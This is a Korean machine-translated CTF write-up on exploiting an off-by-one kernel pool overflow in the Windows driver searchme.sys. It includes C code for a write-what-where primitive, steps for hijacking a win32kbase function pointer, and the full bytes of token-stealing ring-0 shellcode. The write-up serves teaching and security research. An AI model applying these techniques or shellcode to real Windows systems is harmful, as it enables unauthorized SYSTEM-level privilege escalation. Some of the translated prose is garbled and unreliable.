초기 재구성
작업의 일부로 searchme.sys 14kB의 디스크 공간을 사용하는 64 비트 Windows 커널 드라이버 와 다음 설명이 제공되었습니다.
<ip> 3389 플래그는 여기에 있습니다 : c : \ flag.txt, User : ctf, password : ctf
RDP를 통해 원격 호스트에 연결할 때 일반 "ctf"사용자로 로그인 할 수있었습니다. searchme.sys드라이버가 시스템에로드 된, 원하는 C:\flag.txt 예상대로 파일은 디스크에서 발견 되었으나, 현재 사용자의 보안 컨텍스트에서 읽을 수 없습니다 :
이 시점에서 문제의 목표는 커널 모드 취약점을 악용하여 searchme.sys 권한을 관리 또는 시스템 권한으로 승격 한 다음 보호 된 파일에서 플래그를 읽는 것이 분명했습니다 . IDA Pro에 모듈을로드했을 때 장치를 등록 \Device\Searchme 하고 Buffered I / O 통신 방식을 사용하여 4 개의 IOCTL을 처리 했다는 사실을 빠르게 알게되었습니다 .
- 0x222000 – PagedPool에서 빈 개체를 할당하고 전역 배열에 저장하고 해당 주소를 호출자에게 반환합니다.
- 0x222004 – 이전에 할당 된 개체를 해제합니다.
- 0x222008 – (char[16], uint32) 기존 개체에 쌍을 추가 합니다.
- 0x22200C – 유형 0의 기존 오브젝트를 단방향, 비가역 방식으로 유형 1로 변환합니다.
IOCTL # 1 및 # 2는 사소하기 때문에 취약점은 # 3 또는 # 4 구현 어딘가에 숨어 있어야했습니다. 드라이버에있는 전체 코드 ( Redford 및 implr 의 도움으로 )를 간단히 리버스 엔지니어링하여 기능을 파악하고 기호 이름을 바꾸고 데이터 유형을 수정했습니다. 드라이버가 텍스트 문자열과 숫자 값 목록을 연결하는 해시 맵을 유지하고 일부 유형의 이진 데이터 구조가 유형 1 개체에 포함되어 있음이 분명했지만 여전히 코드의 기본 목적을 완전히 이해하지 못했습니다 ( 나중에 이진 보간 코드 로 판명되었습니다 ). 나는 명백한 취약점도 발견하지 못했지만 두 가지 의심스러운 행동을 발견했습니다.
- 을 처리 0x222008할 때 드라이버는 문자열 토큰과 관련된 정수 목록 내에서 중복을 허용하지 않습니다. 그러나 목록의 뒷부분에있는 값과 새로 추가 된 값만 확인했습니다. 예를 들어, [1,2,2] 연속 된 숫자가 같기 때문에 목록이 허용되지 않지만 제대로 [2,1,2] 생성 될 수 있습니다. 다른 IOCTL에 의해 처리 될 때 목록이 나중에 정렬되어 잠재적으로 중복 감지의 전체 지점이 무효화된다는 점을 고려하면 이것은 특히 이상해 보였습니다.
- 0x22200C 핸들러가 호출 한 중첩 함수 에서 다음 코드 구조가 발견되었습니다.
if (*cur_buf > buf_end) {
return 1;
}
buf_end 이것이 유효한 버퍼를 초과하는 가장 작은 주소 라고 가정하면 비교시 >= 연산자를 사용해야하므로 이는 하나씩 오류를 나타낼 수 있습니다 .
위에서 설명한 리드를 따르는 것은 시간이 오래 걸릴 수 있으므로 더 쉬운 경로를 시도하고 멍청한 퍼징을 통해 충돌을 유발할 수 있는지 확인하기로 결정했습니다. 이렇게하면 처음에 메모리 손상 프리미티브를 검색하는 데 시간을 소비하는 대신 알려진 불량 상태에서 분석을 시작할 수 있습니다.
드라이버 퍼징
퍼징의 맥락에서 운전자의 통신 인터페이스는 4 가지 간단한 조작으로 제한되어 편리했습니다. 개발 단계에서 나는 DeviceIoControl 나중에 실제 익스플로잇에서 재사용되는 몇 가지 래퍼 함수를 만들었습니다 . 퍼 저는 핵심이 매우 간단했습니다. 무작위이지만 올바른 형식의 입력 인수 ( token=["aa","bb"], value=[0..9]) 를 사용하여 IOCTL 중 하나를 무한히 호출했습니다 .
특수 풀 을 활성화 searchme.sys 하고 퍼저를 시작한 후 WinDbg에서 다음 충돌을 확인하는 데 몇 초 밖에 걸리지 않았습니다.
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6) N bytes of memory was allocated and more than N bytes are being referenced. This cannot be protected by try-except. When possible, the guilty driver's name (Unicode string) is printed on the bugcheck screen and saved in KiBugCheckDriver. Arguments: Arg1: ffffd9009c68b000, memory referenced Arg2: 0000000000000000, value 0 = read operation, 1 = write operation Arg3: fffff8026b482628, if non-zero, the address which referenced memory. Arg4: 0000000000000000, (reserved)
[...]
TRAP_FRAME: ffff820b43580360 -- (.trap 0xffff820b43580360) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=ffffd9009c68b000 rbx=0000000000000000 rcx=00000000fffffffe rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000 rip=fffff8026b482628 rsp=ffff820b435804f8 rbp=0000000000000000 r8=ffffd9009c68b000 r9=0000000000000000 r10=00007ffffffeffff r11=ffff820b435804f0 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc searchme+0x2628: fffff802`6b482628 0fbe00 movsx eax,byte ptr [rax] ds:ffffd900`9c68b000=?? |
searchme+0x2628의심스러운 *cur_buf > buf_end 비교 를 포함하는 비트 쓰기 기능에 속하는 에서 충돌이 발생했습니다 . 추가 분석 및 실험 (예 : 특수 풀없이 퍼징)을 통해 오버플로가 실제로 단일 바이트로 제한되었음을 확인했습니다.
그 순간, 전구가 머릿속에서 꺼졌습니다. 얼마 전에 비슷한 코드를 이미 보았습니다! 빠른 확인 후 사실로 판명되었습니다. 은 "searchme"작업은 사실 약간 수정하고 재 컴파일 버전이었다 elgoog2 에서 34C3 몇 달 전에. 발견의 즉각적인 이점은 "elgoog"작업이 구조 정의, 함수 이름 등을 포함한 디버깅 기호와 함께 제공된다는 것입니다. 좀 더 정찰을 수행 한 후, 나는 발견 이 이어질 트윗, 이 짧은 쓰기까지하고는 이용을Tea Deliverers의 shiki7에서. 의도하지 않은 유형 혼동 버그는 "searchme"에서 패치되었으므로 이전 익스플로잇은 더 이상 작동하지 않았지만 여전히 귀중한 통찰력을 제공했습니다. 또한 (1)에서 풀 버퍼 오버 플로우에 대한 Niklas의 설명은 이것이 여기서 악용 될 의도 된 버그라는 나의 믿음을 강화 시켰습니다.
그래서 나는“elgoog”에서“searchme”IDA 데이터베이스로 심볼을 옮기는 데 한두 시간을 보냈습니다.
오버플로 제어
충돌을 트리거하기 위해 퍼 저가 보낸 일련의 명령을 살펴보면 오버플로가 실제로 0x22200C중복 항목이있는 토큰을 포함하는 객체를 "압축"(IOCTL )하여 발생한다는 것을 알았습니다 . 할당 된 버퍼 이상으로 1 바이트 만 쓸 수 있었기 때문에 그 값을 신중하게 제어해야 할 것 같습니다. 디버그 기호의 도움으로도 코드에 의해 어떤 데이터 구조가 구성되었는지, 따라서 그 내용을 정확히 제어하는 방법을 확신 할 수 없었습니다.
알고리즘의 심층 검사에 시간을 낭비하지 않기 위해 Hex-Rays 디 컴파일러에서 Visual Studio로 interpolative_size 및 write_interpolative함수 (종속성과 함께)를 뻔뻔하게 복사하여 붙여넣고 그 주위에 간단한 무차별 대입 프로그램을 작성했습니다. 다양한 임의 입력 목록에 대해 오버플로 바이트를 테스트합니다. 도구의 요점은 다음과 같습니다.
// Fill input_buffer with random numbers and sort it.
memset(output_buffer, 0xaa, sizeof(output_buffer)); char *buf = output_buffer;
write_interpolative(&buf, input_buffer, 1, ARRAYSIZE(input_buffer) - 1);
size_t calculated = (interpolative_size(input_buffer, 1, ARRAYSIZE(input_buffer) - 1) + 7) / 8; ptrdiff_t written = buf - output_buffer - 1;
if (written > 0 && calculated > 0 && written > calculated) { const char kSearchedByte = 0;
if (output_buffer[calculated] == kSearchedByte) { // Print input_buffer. } } |
원하는 값에 따라 input_buffer 입력 번호 의 길이 와 범위를 조작 할 수 있습니다. 의 간단한 값의 0x00경우 [0..9] 범위 에있는 5 개의 숫자만으로 원하는 효과를 얻을 수 있습니다 .
C:\> brute.exe calculated: 4, written: 11, last byte: 0x00 input_buffer = {0, 1, 1, 1, 2}
calculated: 1, written: 4, last byte: 0x00 input_buffer = {0, 3, 4, 5, 5}
calculated: 1, written: 4, last byte: 0x00 input_buffer = {5, 7, 8, 9, 9}
[...] |
할당량이 넘쳐나는 단일 바이트를 선택할 수있는 능력으로 인해 기본 요소를 더 강력한 것으로 끌어 올릴 때였습니다.
데이터 전용 풀 손상
오늘날 사용되는 대부분의 동적 할당자는 할당 된 메모리 청크 앞에 메타 데이터를 배치하며, 이는 역사적으로 여러 일반 힙 악용 기술을 촉진 해 왔습니다. 반면에 메타 데이터가 응용 프로그램 별 개체를 서로 분리하고 종종 광범위한 무결성 검사를 받기 때문에 현재 작은 오버플로 의 악용이 어려울 수 있습니다. 여기에 다음과 같은 두 개의 참조를 할 의무 : 리눅스 커널 SLOB 할당 자 속보 : 문제의 힙 (댄 로젠버그, 2012)하고 독이 NUL 바이트 2014 년 판 (크리스 에반스으로 알려졌다, 2014).
그의 의도 된 솔루션 에서 Niklas는 또한 커널 풀 할당자를 혼동하기 위해 풀 메타 데이터 손상을 사용했으며, 결과적으로 더 유용한 기본 요소를 달성하기 위해 두 개의 별개의 객체가 서로 겹칩니다. 이것은 유효한 접근 방식이지만 익스플로잇 작성자가 할당 자의 내부 작업을 인식하고 안정적인 익스플로잇을 보장하기 위해 풀 레이아웃을 정확하게 설정해야합니다. 개인적 선호로 인해 내부 시스템 구조보다 프로그램 특정 개체를 공격하는 것이 더 쉽다는 것을 알았 기 때문에 이러한 방식으로 문제를 해결할 수있는 옵션을 직관적으로 찾기 시작했습니다.
Windows 커널에서 작은 할당 (단일 메모리 페이지에 맞는)이 큰 할당과 다르게 처리된다는 사실은 잘 알려져 있지 않을 수 있습니다. 다소 오래되었지만 여전히 관련성이있는 세부 정보 는 Windows 7의 커널 풀 익스플로이 테이션 (Tarjei Mandt, 2011) 및 양년 커널 힙 Fengshui : Big Kids 'Pool에 살포 (Alex Ionescu, 2014)를 참조하십시오. 이 특정 사례에서 우리는 큰 풀 청크의 두 가지 속성에 관심이 있습니다.
- 메타 데이터는 별도로 저장되므로 할당은 0xffffa803f5892000.
- 청크는 종종 메모리에서 인접 해 있습니다. 예를 들어 두 개의 연속적인 크기 할당이 각각 0x1000 주소 0xffffa803f5892000 및에 매핑 될 수 있습니다 0xffffa803f5893000.
취약한 드라이버에서는 오버플로 된 청크의 크기를 최대 0x10000 (16 페이지) 까지 정확하게 제어 할 수 있습니다 . 이것은 두 개의 큰 객체를 나란히 할당하기에 충분하며 IOCTL이 생성 된 객체의 커널 모드 주소를 명시 적으로 반환한다는 사실 덕분에 인접한 영역의 정확한 쌍을 결정할 수도 있습니다. 이것은 8 0x2000바이트 길이의 인덱스 를 생성 하고 주소를 비교 한 CTF에서 작성한 간단한 도구로 성공적으로 확인되었습니다 . 출력은 다음과 유사합니다.
C:\>adjacent.exe [+] Source Index: ffffa803f2f79cb0 [1] Adjacent objects: ffffa803f61db000 --> ffffa803f61dd000 [2] Adjacent objects: ffffa803f61dd000 --> ffffa803f61df000 [3] Adjacent objects: ffffa803f61df000 --> ffffa803f61e1000 [4] Adjacent objects: ffffa803f61e1000 --> ffffa803f61e3000 [5] Adjacent objects: ffffa803f61e3000 --> ffffa803f61e5000 [6] Adjacent objects: ffffa803f61e5000 --> ffffa803f61e7000 [7] Adjacent objects: ffffa803f61e7000 --> ffffa803f61e9000 |
보시다시피 모든 개체는 실제로 연속적인 0x10000 바이트 블록에서 서로 나란히 매핑되었습니다 . 이후에 다른 모든 개체를 해제하여 풀에 "구멍"을 만들고 드라이버에 의해 오버플로되는 동일한 크기의 새 청크를 즉시 할당하면 오버플로가 인접한 인덱스 개체 의 첫 번째 바이트와 겹치게됩니다 . 이것은 아래에 설명되어 있습니다.
이 시점에서 할당의 첫 번째 바이트에 저장된 정보 유형을 살펴보아야합니다. 결과적으로, 이것은 객체의 유형을 나타내는 32 비트 정수의 최하위 바이트입니다 (유형 0 – 일반, 유형 1 – 압축). 일반 객체의 구조는 다음과 같이 정의됩니다.
struct _inverted_index { /* +0x00 */ int compressed; /* +0x08 */ _ii_token_table *table; }; |
는 IF compressed 멤버가 0이 아닌이며, 구조의 레이아웃은 매우 다르다 :
struct _compressed_index { /* +0x00 */ int compressed; /* +0x04 */ int size; /* +0x08 */ int offsets[size]; /* +0x?? */ char data[...]; }; |
객체 유형이 0x00000000 또는 라는 사실 덕분에 0x000000011 바이트 오버플로를 통해 객체 유형을에서로 변경할 compressed_index 수 inverted_index있습니다. 유형 혼동에는 몇 가지 편리한 기본 요소가 있습니다. 위의 구조 table 에서 오프셋 8 의 포인터가 offsets[0] 및 항목과 겹치는 것을 볼 수 있습니다 offsets[1]. offsets 배열 의 값 은 압축 된 인덱스를 기준으로 압축 된 데이터의 오프셋이므로 상대적으로 작습니다. 테스트에서는 각각 0x558 및 0x56C.
결합되어 64 비트 주소로 해석 될 때이 두 값은 다음 포인터를 형성합니다 0x0000056c00000558.. 일반 애플리케이션에서 흔히 볼 수있는 일반적인 주소는 아니지만 간단한 VirtualAlloc 호출을 사용하여 프로그램에서 매핑 할 수있는 표준 사용자 모드 주소입니다 . 즉, 유형 혼동으로 인해 민감한 커널 모드 포인터를 사용자 공간으로 리디렉션 _ii_token_table 하고 드라이버가 사용 하는 구조를 완전히 제어 할 수 있습니다.
우리가 1에서 0으로 객체의 유형을 변경하고 새로운 추가하려고하는 개념 프로그램의 증거에서 논의 된 로직을 구현하는 경우 (keyword, value) 손상된 인덱스 쌍을, 우리는 다음과 같은 시스템 충돌을 준수해야하는 동안 searchme.sys역 참조 메모리 시도에서 0x0000056c00000558:
SYSTEM_SERVICE_EXCEPTION (3b) An exception happened while executing a system service routine. Arguments: Arg1: 00000000c0000005, Exception code that caused the bugcheck Arg2: fffff8008b981fea, Address of the instruction which caused the bugcheck Arg3: ffff948fa7516c60, Address of the context record for the exception that caused the bugcheck Arg4: 0000000000000000, zero.
[...]
CONTEXT: ffff948fa7516c60 -- (.cxr 0xffff948fa7516c60) rax=000000009b82a44c rbx=ffffcc8a26af7370 rcx=0000056c00000558 rdx=0000000000000000 rsi=ffffcc8a273fc20c rdi=ffff948fa75177d4 rip=fffff8008b981fea rsp=ffff948fa7517650 rbp=ffffcc8a2876fef0 r8=0000000000000001 r9=0000000000000014 r10=0000000000000000 r11=0000000000000000 r12=ffffcc8a2876fef0 r13=ffffcc8a29470180 r14=0000000000000002 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010246 searchme+0x1fea: fffff800`8b981fea 48f77108 div rax,qword ptr [rcx+8] ds:002b:0000056c`00000560=???????????????? |
제어 된 _ii_token_table구조가 제공하는 기능을 자세히 살펴 보겠습니다 .
write-what-where 조건 얻기
elgoog 기호 파일을 기반으로, _ii_token_table 및 관련 _ii_posting_list구조 의 프로토 타입을 복구 하고 다음 C 정의로 기록했습니다.
struct _ii_posting_list { char token[16]; unsigned __int64 size; unsigned __int64 capacity; unsigned int data[1]; };
struct _ii_token_table { unsigned __int64 size; unsigned __int64 capacity; _ii_posting_list *slots[1]; }; |
여러면에서 위의 데이터 구조는 std::map<string, std::vector<unsigned int>> C ++의 구조와 유사합니다 . 프로그램 (token, value) 이 색인에 새 쌍을 추가하도록 요청 하면 코드가 slots 배열을 반복 하여 제공된 토큰에 해당하는 게시 목록을 찾고, 발견되면 입력 값이 다음 표현식으로 목록에 추가됩니다.
PostingList.data[PostingList.size++] = value; |
토큰 테이블이 우리가 제어하고 _ii_posting_list.size 필드가 64 비트 너비이고 가짜 게시 목록의 기본 주소를 알고 있다는 점을 고려할 때이 동작은 임의 쓰기 기본 형식으로 변환하는 것은 간단합니다. 먼저, 알려진 이름 ( "가짜")으로 다음과 capacity 같은 가짜 게시 목록을 정적 메모리에 선언합니다 UINT64_MAX.
namespace globals {
_ii_posting_list PostingList = { "fake", 0, 0xFFFFFFFFFFFFFFFFLL };
} // namespace globals |
그런 다음 특수 0x0000056c00000558주소 에서 가짜 토큰 테이블을 초기화하는 함수를 작성합니다 .
BOOLEAN SetupWriteWhatWhere() { CONST PVOID kTablePointer = (PVOID)0x0000056c00000558; CONST PVOID kTableBase = (PVOID)0x0000056c00000000;
if (VirtualAlloc(kTableBase, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) == NULL) { printf("[-] Unable to allocate fake base.\n"); return FALSE; }
_ii_token_table *TokenTable = (_ii_token_table *)kTablePointer; TokenTable->size = 1; TokenTable->capacity = 1; TokenTable->slots[0] = &globals::PostingList;
return TRUE; } |
마지막으로 4 바이트 write-what-where 조건을 트리거하는 도우미 함수를 추가합니다.
VOID WriteWhatWhere4(ULONG_PTR CorruptedIndex, ULONG_PTR Where, DWORD What) { globals::PostingList.size = (Where - (ULONG_PTR)&globals::PostingList.data) / sizeof(DWORD);
AddToIndex(CorruptedIndex, What, "fake"); } |
이 모든 것이 제대로 작동하는지 테스트 할 수 있습니다.
WriteWhatWhere4(CorruptedIndex, 0x4141414141414141LL, 0x42424242); |
취약한 드라이버에서 다음 예외를 트리거해야합니다.
CONTEXT: ffff9609683dacb0 -- (.cxr 0xffff9609683dacb0) rax=00007ff6a90b2930 rbx=ffffe48f8135b5a0 rcx=10503052a60d85fc rdx=0000000042424242 rsi=ffffe48f82d7d70c rdi=ffff9609683db7d4 rip=fffff8038ccc1905 rsp=ffff9609683db6a0 rbp=ffffe48f82c79ef0 r8=0000000000000001 r9=0000000000000014 r10=0000000000000000 r11=0000000000000000 r12=ffffe48f82c79ef0 r13=ffffe48f81382ac0 r14=0000000000000002 r15=0000000000000000 iopl=0 nv up ei pl nz na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206 searchme+0x1905: fffff803`8ccc1905 3954881c cmp dword ptr [rax+rcx*4+1Ch],edx ds:002b:41414141`4141413c=???????? |
위의 크래시 로그는 이전에에서 무의미한 일부 읽기로 인해 "쓰기"작업을 완전히 설명하지는 않지만 PostingList.data공격은 작동합니다.
쉘 코드 실행
이 시점에서 임의의 커널 메모리를 쓸 수는 있지만 읽을 수는 없었기 때문에 사용자 모드에서 직접 수행되는 데이터 전용 공격 옵션이 배제되었습니다 . 그러나 write-what-where 프리미티브를 사용하면 ring-0 쉘 코드를 실행하는 것은 형식 일뿐입니다. 이 경우 익스플로잇이 보통 무결성으로 실행되어 커널 모듈의 기본 주소에 액세스하고 .NET의 다양한 정보 클래스 를 통해 다른 유용한 주소를 획득 할 수 있었기 때문에 훨씬 더 쉬워졌습니다 NtQuerySystemInformation.
그의에서 블랙 햇 USA 2017 이야기 , 모르 텐 쉥크는 임의 쓰기가에 거주 덮어 쓰기 커널 함수 포인터로 사용될 수 있음을 제안 .data 섹션 win32kbase.sys에서 더 구체적으로, 그리고 win32kbase!gDxgkInterface로부터 그래픽 콜에서 사용하는 테이블 NtGdiDdDDI* 의 가족. 시스템 호출 핸들러는 실제로 함수 포인터를 둘러싼 사소한 래퍼 RCX이며 RDX,,… 레지스터를 통해 전달 된 인수를 손상시키지 않습니다 . 예 :
이를 통해 공격자는 제어 된 인수로 임의의 커널 함수를 호출하고 반환 값을받을 수 있습니다. Morten이 논의한 바와 같이, 전체 익스플로잇 프로세스는 몇 가지 간단한 단계로 구성됩니다.
- 함수 포인터를 주소로 덮어 씁니다 nt!ExAllocatePoolWithTag.
- NonPagedPool 매개 변수 와 함께 루틴을 호출하여 쓰기 가능 / 실행 가능 메모리를 할당하십시오.
- 할당 된 메모리에 ring-0 쉘 코드를 씁니다.
- 함수 포인터를 쉘 코드의 주소로 덮어 씁니다.
- 쉘 코드를 호출하십시오.
위의 체계를 사용하면 시스템 상태를 손상시키지 않고 원하는 페이로드를 깔끔하게 실행할 수 있습니다 (덮어 쓴 포인터 제외). 그의 논문에서 Morten NtGdiDdDDICreateAllocation 은 프록시 시스템 콜로 사용을 제안 했지만, 포인터가 즉시 수정되지 않으면 시스템이 오작동하기 시작할 정도로 Windows에서 충분히 자주 사용된다는 것을 발견했습니다. 내 삶을 조금 더 쉽게 만들기 위해, 익스플로잇에 의해 독점적으로 호출되는 것처럼 보이는 덜 자주 사용되는 서비스를 선택했습니다 NtGdiDdDDIGetContextSchedulingPriority.
코드에서 로직을 구현 한 후 임의의 커널 코드 실행을 즐길 수 있습니다.이 예제에서는 단일 int3명령입니다.
kd> g Break instruction exception - code 80000003 (first chance) ffffc689`b8967000 cc int 3
0: kd> u ffffc689`b8967000 cc int 3 ffffc689`b8967001 c3 ret [...]
0: kd> !pool @rip Pool page ffffc689b8967000 region is Nonpaged pool *ffffc689b8967000 : large page allocation, tag is ...., size is 0x1000 bytes Owning component : Unknown (update pooltag.txt) |
특권 상승
Windows에서 시스템에서 권한을 높이는 가장 쉬운 방법 중 하나는 시스템 프로세스의 보안 토큰을 "훔쳐"현재 프로세스 (특히 EPROCESS.Token)에 복사하는 것 입니다. 시스템 프로세스의 주소는 ntoskrnl.exe 이미지 의 정적 메모리 아래 에서 찾을 수 있습니다 nt!PsInitialSystemProcess. 공격은 두 커널 구조 사이에 하나의 포인터 만 복사하는 것이므로 쉘 코드는 6 개의 명령어로만 구성됩니다.
// The shellcode takes the address of a pointer to a process object in the kernel in the first // argument (RCX), and copies its security token to the current process. // // 00000000 65488B0425880100 mov rax, [gs:KPCR.Prcb.CurrentThread] // -00 // 00000009 488B80B8000000 mov rax, [rax + ETHREAD.Tcb.ApcState.Process] // 00000010 488B09 mov rcx, [rcx] // 00000013 488B8958030000 mov rcx, [rcx + EPROCESS.Token] // 0000001A 48898858030000 mov [rax + EPROCESS.Token], rcx // 00000021 C3 ret CONST BYTE ShellcodeBytes[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00" "\x48\x8B\x09\x48\x8B\x89\x58\x03\x00\x00\x48\x89\x88\x58\x03\x00" "\x00\xC3"; |
깃발 얻기
익스플로잇 프로세스의 보안 토큰이 교체되면 운영 체제를 완전히 제어 할 수 있습니다. 관리자 권한 명령 프롬프트를 시작하고 플래그를 읽을 수 있습니다.
요약하면, 약 15 시간의 작업 후 익스플로잇이 작동하여 첫 번째 (및 마지막) 혈액 보너스의 120 점 + 30 점을 얻었습니다. 이 재미있는 도전을 만들어 준 Niklas와 대회를 운영 해준 WCTF 주최자에게 감사드립니다. 나는 작업과 그 솔루션이 오늘날에도 커널 풀의 오프-바이-원 오버플로와 같은 이론적으로 사소한 버그가 올바른 상황에서 개념적으로 쉽게 악용 될 수 있음을 깔끔하게 설명한다고 생각합니다. Windows의 버퍼 오버플로 악용은 아직 죽지 않았습니다. :)
'개인 저장' 카테고리의 다른 글
KMS 버전별 스니퍼 키값 (2) | 2020.09.02 |
---|---|
driverview-x64 (0) | 2020.08.26 |
세금 내용 총정리 (0) | 2020.08.12 |
신규 데이터 학습 (0) | 2020.08.10 |
KsDumper (0) | 2020.08.07 |